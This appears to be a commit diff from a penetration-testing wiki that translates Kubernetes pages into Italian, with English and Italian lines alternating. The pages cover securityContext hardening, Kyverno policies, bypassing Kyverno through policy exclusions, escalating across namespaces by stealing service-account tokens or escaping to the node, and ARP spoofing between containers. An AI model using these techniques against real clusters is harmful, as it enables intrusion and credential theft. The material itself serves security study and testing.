runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
volumes:
- name: sec-ctx-vol
emptyDir: {}
containers:
- name: sec-ctx-demo
image: busybox
command: [ "sh", "-c", "sleep 1h" ]
securityContext:
runAsNonRoot: true
volumeMounts:
- name: sec-ctx-vol
mountPath: /data/demo
securityContext:
allowPrivilegeEscalation: true
securityContext:
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
volumes:
- name: sec-ctx-vol
emptyDir: {}
containers:
- name: sec-ctx-demo
image: busybox
command: [ "sh", "-c", "sleep 1h" ]
securityContext:
runAsNonRoot: true
volumeMounts:
- name: sec-ctx-vol
mountPath: /data/demo
securityContext:
allowPrivilegeEscalation: true
```
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### General Hardening
### Indurimento Generale
You should update your Kubernetes environment as frequently as necessary to have:
Dovresti aggiornare il tuo ambiente Kubernetes con la frequenza necessaria per avere:
- Dependencies up to date.
- Bug and security patches.
- Dipendenze aggiornate.
- Correzioni di bug e di sicurezza.
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
[**Cicli di rilascio**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Ogni 3 mesi c'è un nuovo rilascio minore -- 1.20.3 = 1(Maggiore).20(Minore).3(patch)
**The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
**Il modo migliore per aggiornare un Cluster Kubernetes è (da** [**qui**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Upgrade the Master Node components following this sequence:
- etcd (all instances).
- kube-apiserver (all control plane hosts).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, if you use one.
- Upgrade the Worker Node components such as kube-proxy, kubelet.
- Aggiorna i componenti del nodo Master seguendo questa sequenza:
- etcd (tutte le istanze).
- kube-apiserver (tutti gli host del piano di controllo).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, se ne utilizzi uno.
- Aggiorna i componenti del nodo Worker come kube-proxy, kubelet.
{{#include ../../../banners/hacktricks-training.md}}

78
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
View File

@@ -4,55 +4,55 @@
## PodSecurityContext <a href="#podsecuritycontext-v1-core" id="podsecuritycontext-v1-core"></a>
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
[**Dalla documentazione:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider:
Quando si specifica il contesto di sicurezza di un Pod, è possibile utilizzare diversi attributi. Da un punto di vista della sicurezza difensiva, si dovrebbe considerare:
- To have **runASNonRoot** as **True**
- To configure **runAsUser**
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
- Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**
- Avere **runASNonRoot** come **True**
- Configurare **runAsUser**
- Se possibile, considerare di **limitare** le **permissive** indicando **seLinuxOptions** e **seccompProfile**
- Non dare accesso al **privilege** **group** tramite **runAsGroup** e **supplementaryGroups**
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>A special supplemental group that applies to <strong>all containers in a pod</strong>. Some volume types allow the Kubelet to <strong>change the ownership of that volume</strong> to be owned by the pod:<br>1. The owning GID will be the FSGroup<br>2. The setgid bit is set (new files created in the volume will be owned by FSGroup)<br>3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume</p> |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>intero</em></p> | <p>Un gruppo supplementare speciale che si applica a <strong>tutti i container in un pod</strong>. Alcuni tipi di volume consentono al Kubelet di <strong>cambiare la proprietà di quel volume</strong> per essere di proprietà del pod:<br>1. Il GID proprietario sarà l'FSGroup<br>2. Il bit setgid è impostato (i nuovi file creati nel volume saranno di proprietà dell'FSGroup)<br>3. I bit di permesso sono OR'd con rw-rw---- Se non impostato, il Kubelet non modificherà la proprietà e i permessi di alcun volume</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | The **seccomp options to use by the containers** in this pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | A list of **groups applied to the first process run in each container**, in addition to the container's primary GID. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>stringa</em></p> | Questo definisce il comportamento di **cambio di proprietà e permesso del volume** prima di essere esposto all'interno del Pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>intero</em></p> | Il **GID per eseguire il punto di ingresso del processo del container**. Usa il valore predefinito di runtime se non impostato. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>booleano</em></p> | Indica che il container deve essere eseguito come un utente non root. Se vero, il Kubelet convaliderà l'immagine a runtime per assicurarsi che non venga eseguita come UID 0 (root) e non avvierà il container se lo fa. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>intero</em></p> | Il **UID per eseguire il punto di ingresso del processo del container**. Predefinito all'utente specificato nei metadati dell'immagine se non specificato. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Ulteriori informazioni su</em> <em><strong>seLinux</strong></em></p> | Il **contesto SELinux da applicare a tutti i container**. Se non specificato, il runtime del container assegnerà un contesto SELinux casuale per ciascun container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Ulteriori informazioni su</em> <em><strong>Seccomp</strong></em></p> | Le **opzioni seccomp da utilizzare dai container** in questo pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>array di interi</em></p> | Un elenco di **gruppi applicati al primo processo eseguito in ciascun container**, oltre al GID primario del container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Ulteriori informazioni su</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | I sysctls contengono un elenco di **sysctls namespaced utilizzati per il pod**. I pod con sysctls non supportati (dal runtime del container) potrebbero non avviarsi. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Le impostazioni specifiche di Windows applicate a tutti i container. Se non specificato, verranno utilizzate le opzioni all'interno del SecurityContext di un container. |
## SecurityContext
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
[**Dalla documentazione:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
This context is set inside the **containers definitions**. From a defensive security point of view you should consider:
Questo contesto è impostato all'interno delle **definizioni dei container**. Da un punto di vista della sicurezza difensiva, si dovrebbe considerare:
- **allowPrivilegeEscalation** to **False**
- Do not add sensitive **capabilities** (and remove the ones you don't need)
- **privileged** to **False**
- If possible, set **readOnlyFilesystem** as **True**
- Set **runAsNonRoot** to **True** and set a **runAsUser**
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
- Do **NOT** give **privilege** **group** access via **runAsGroup.**
- **allowPrivilegeEscalation** a **False**
- Non aggiungere **capabilities** sensibili (e rimuovere quelle di cui non hai bisogno)
- **privileged** a **False**
- Se possibile, impostare **readOnlyFilesystem** come **True**
- Impostare **runAsNonRoot** su **True** e impostare un **runAsUser**
- Se possibile, considerare di **limitare** le **permissive** indicando **seLinuxOptions** e **seccompProfile**
- Non dare accesso al **privilege** **group** tramite **runAsGroup.**
Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**.
Nota che gli attributi impostati in **entrambi SecurityContext e PodSecurityContext**, il valore specificato in **SecurityContext** ha **precedenza**.
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no_new_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP_SYS_ADMIN** |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>booleano</em></p> | **AllowPrivilegeEscalation** controlla se un processo può **acquisire più privilegi** rispetto al suo processo padre. Questo bool controlla direttamente se il flag no_new_privs sarà impostato sul processo del container. AllowPrivilegeEscalation è sempre vero quando il container è eseguito come **Privileged** o ha **CAP_SYS_ADMIN** |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Whether this **container has a read-only root filesystem**. Default is false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint** of the container process. Uses runtime default if unset. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | The **seccomp options** to use by this container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The **Windows specific settings** applied to all containers. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Ulteriori informazioni su</em> <em><strong>Capabilities</strong></em></p> | Le **capabilities da aggiungere/rimuovere durante l'esecuzione dei container**. Predefinito al set di capabilities predefinito. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>booleano</em></p> | Esegui il container in modalità privilegiata. I processi nei container privilegiati sono essenzialmente **equivalenti a root sull'host**. Predefinito a false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>stringa</em></p> | procMount denota il **tipo di montaggio proc da utilizzare per i container**. Il predefinito è DefaultProcMount che utilizza i valori predefiniti del runtime del container per i percorsi di sola lettura e i percorsi mascherati. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>booleano</em></p> | Se questo **container ha un filesystem root di sola lettura**. Il predefinito è false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>intero</em></p> | Il **GID per eseguire il punto di ingresso** del processo del container. Usa il valore predefinito di runtime se non impostato. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>booleano</em></p> | Indica che il container deve **essere eseguito come un utente non root**. Se vero, il Kubelet convaliderà l'immagine a runtime per assicurarsi che non venga eseguita come UID 0 (root) e non avvierà il container se lo fa. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>intero</em></p> | Il **UID per eseguire il punto di ingresso** del processo del container. Predefinito all'utente specificato nei metadati dell'immagine se non specificato. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Ulteriori informazioni su</em> <em><strong>seLinux</strong></em></p> | Il **contesto SELinux da applicare al container**. Se non specificato, il runtime del container assegnerà un contesto SELinux casuale per ciascun container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | Le **opzioni seccomp** da utilizzare per questo container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Le **impostazioni specifiche di Windows** applicate a tutti i container. |
## References
@@ -60,7 +60,3 @@ Note that the attributes set in **both SecurityContext and PodSecurityContext**,
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
{{#include ../../../banners/hacktricks-training.md}}

72
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
View File

@@ -1,60 +1,54 @@
# Kubernetes Kyverno
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition&#x20;
## Definizione&#x20;
Kyverno is an open-source, policy management framework for Kubernetes that enables organizations to define, enforce, and audit policies across their entire Kubernetes infrastructure. It provides a scalable, extensible, and highly customizable solution for managing the security, compliance, and governance of Kubernetes clusters.
Kyverno è un framework di gestione delle politiche open-source per Kubernetes che consente alle organizzazioni di definire, applicare e auditare le politiche in tutta la loro infrastruttura Kubernetes. Fornisce una soluzione scalabile, estensibile e altamente personalizzabile per gestire la sicurezza, la conformità e la governance dei cluster Kubernetes.
## Use cases
## Casi d'uso
Kyverno can be used in a variety of use cases, including:
Kyverno può essere utilizzato in una varietà di casi d'uso, tra cui:
1. **Network Policy Enforcement**: Kyverno can be used to enforce network policies, such as allowing or blocking traffic between pods or services.
2. **Secret Management**: Kyverno can be used to enforce secret management policies, such as requiring secrets to be stored in a specific format or location.
3. **Access Control**: Kyverno can be used to enforce access control policies, such as requiring users to have specific roles or permissions to access certain resources.
1. **Applicazione delle Politiche di Rete**: Kyverno può essere utilizzato per applicare politiche di rete, come consentire o bloccare il traffico tra pod o servizi.
2. **Gestione dei Segreti**: Kyverno può essere utilizzato per applicare politiche di gestione dei segreti, come richiedere che i segreti siano memorizzati in un formato o posizione specifici.
3. **Controllo degli Accessi**: Kyverno può essere utilizzato per applicare politiche di controllo degli accessi, come richiedere agli utenti di avere ruoli o permessi specifici per accedere a determinate risorse.
## **Example: ClusterPolicy and Policy**
## **Esempio: ClusterPolicy e Policy**
Let's say we have a Kubernetes cluster with multiple namespaces, and we want to enforce a policy that requires all pods in the `default` namespace to have a specific label.
Immaginiamo di avere un cluster Kubernetes con più namespace e vogliamo applicare una politica che richiede a tutti i pod nel namespace `default` di avere un'etichetta specifica.
**ClusterPolicy**
A ClusterPolicy is a high-level policy that defines the overall policy intent. In this case, our ClusterPolicy might look like this:
Una ClusterPolicy è una politica di alto livello che definisce l'intento generale della politica. In questo caso, la nostra ClusterPolicy potrebbe apparire così:
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-label
name: require-label
spec:
rules:
- validate:
message: "Pods in the default namespace must have the label 'app: myapp'"
match:
any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
- any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
validationFailureAction: enforce
rules:
- validate:
message: "Pods in the default namespace must have the label 'app: myapp'"
match:
any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
- any:
- resources:
kinds:
- Pod
namespaceSelector:
matchLabels:
namespace: default
validationFailureAction: enforce
```
Quando un pod viene creato nel namespace `default` senza l'etichetta `app: myapp`, Kyverno bloccherà la richiesta e restituirà un messaggio di errore che indica che il pod non soddisfa i requisiti della policy.
When a pod is created in the `default` namespace without the label `app: myapp`, Kyverno will block the request and return an error message indicating that the pod does not meet the policy requirements.
## References
## Riferimenti
* [https://kyverno.io/](https://kyverno.io/)

66
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
View File

@@ -1,64 +1,54 @@
# Kubernetes Kyverno bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusing policies misconfiguration
## Abusare della misconfigurazione delle politiche
### Enumerate rules
Having an overview may help to know which rules are active, on which mode and who can bypass it
### Enumerare le regole
Avere una panoramica può aiutare a sapere quali regole sono attive, in quale modalità e chi può bypassarle.
```bash
$ kubectl get clusterpolicies
$ kubectl get policies
```
### Enumerare Esclusi
### Enumerate Excluded
Per ogni ClusterPolicy e Policy, puoi specificare un elenco di entità escluse, inclusi:
For each ClusterPolicy and Policy, you can specify a list of excluded entities, including:
- Gruppi: `excludedGroups`
- Utenti: `excludedUsers`
- Account di Servizio (SA): `excludedServiceAccounts`
- Ruoli: `excludedRoles`
- Ruoli di Cluster: `excludedClusterRoles`
- Groups: `excludedGroups`
- Users: `excludedUsers`
- Service Accounts (SA): `excludedServiceAccounts`
- Roles: `excludedRoles`
- Cluster Roles: `excludedClusterRoles`
Queste entità escluse saranno esenti dai requisiti della policy, e Kyverno non applicherà la policy per loro.
These excluded entities will be exempt from the policy requirements, and Kyverno will not enforce the policy for them.
## Example&#x20;
Let's dig into one clusterpolicy example :&#x20;
## Esempio&#x20;
Esploriamo un esempio di clusterpolicy :&#x20;
```
$ kubectl get clusterpolicies MYPOLICY -o yaml
```
Look for the excluded entities :&#x20;
Cerca le entità escluse :&#x20;
```yaml
exclude:
any:
- clusterRoles:
- cluster-admin
- subjects:
- kind: User
name: system:serviceaccount:DUMMYNAMESPACE:admin
- kind: User
name: system:serviceaccount:TEST:thisisatest
- kind: User
name: system:serviceaccount:AHAH:*
any:
- clusterRoles:
- cluster-admin
- subjects:
- kind: User
name: system:serviceaccount:DUMMYNAMESPACE:admin
- kind: User
name: system:serviceaccount:TEST:thisisatest
- kind: User
name: system:serviceaccount:AHAH:*
```
All'interno di un cluster, numerosi componenti, operatori e applicazioni aggiunti possono richiedere l'esclusione da una politica del cluster. Tuttavia, questo può essere sfruttato prendendo di mira entità privilegiate. In alcuni casi, può sembrare che uno spazio dei nomi non esista o che tu non abbia il permesso di impersonare un utente, il che può essere un segno di misconfigurazione.
Within a cluster, numerous added components, operators, and applications may necessitate exclusion from a cluster policy. However, this can be exploited by targeting privileged entities. In some cases, it may appear that a namespace does not exist or that you lack permission to impersonate a user, which can be a sign of misconfiguration.
## Abusare di ValidatingWebhookConfiguration
## Abusing ValidatingWebhookConfiguration
Another way to bypass policies is to focus on the ValidatingWebhookConfiguration resource :&#x20;
Un altro modo per bypassare le politiche è concentrarsi sulla risorsa ValidatingWebhookConfiguration :&#x20;
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
{{#endref}}

22
src/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
View File

@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**.
In Kubernetes è piuttosto comune che in qualche modo **riesci a entrare in un namespace** (rubando alcune credenziali utente o compromettendo un pod). Tuttavia, di solito sarai interessato a **escalare a un namespace diverso poiché lì si possono trovare cose più interessanti**.
Here are some techniques you can try to escape to a different namespace:
Ecco alcune tecniche che puoi provare per fuggire a un namespace diverso:
### Abuse K8s privileges
Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens.
Ovviamente, se l'account che hai rubato ha privilegi sensibili sul namespace a cui puoi escalare, puoi abusare di azioni come **creare pod** con account di servizio nel NS, **eseguire** una shell in un pod già esistente all'interno del ns, o leggere i **secret** dei token SA.
For more info about which privileges you can abuse read:
Per ulteriori informazioni sui privilegi che puoi abusare, leggi:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -18,20 +18,16 @@ abusing-roles-clusterroles-in-kubernetes/
### Escape to the node
If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens:
Se riesci a fuggire al nodo, sia perché hai compromesso un pod e puoi fuggire, sia perché puoi creare un pod privilegiato e fuggire, potresti fare diverse cose per rubare altri token SA:
- Check for **SAs tokens mounted in other docker containers** running in the node
- Check for new **kubeconfig files in the node with extra permissions** given to the node
- If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet)
- Controlla i **token SA montati in altri contenitori docker** in esecuzione nel nodo
- Controlla i nuovi **file kubeconfig nel nodo con permessi extra** dati al nodo
- Se abilitato (o abilitalo tu stesso), prova a **creare pod speculari di altri namespace** poiché potresti ottenere accesso agli account token predefiniti di quei namespace (non l'ho ancora testato)
All these techniques are explained in:
Tutte queste tecniche sono spiegate in:
{{#ref}}
attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

266
src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
View File

@@ -2,94 +2,93 @@
{{#include ../../banners/hacktricks-training.md}}
## Introduction
## Introduzione
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
In Kubernetes, si osserva che un comportamento predefinito consente l'instaurazione di connessioni tra **tutti i container che risiedono sullo stesso nodo**. Questo si applica indipendentemente dalle distinzioni di namespace. Tale connettività si estende fino al **Livello 2** (Ethernet). Di conseguenza, questa configurazione espone potenzialmente il sistema a vulnerabilità. In particolare, apre la possibilità per un **container malevolo** di eseguire un **attacco di ARP spoofing** contro altri container situati sullo stesso nodo. Durante un attacco di questo tipo, il container malevolo può ingannevolmente intercettare o modificare il traffico di rete destinato ad altri container.
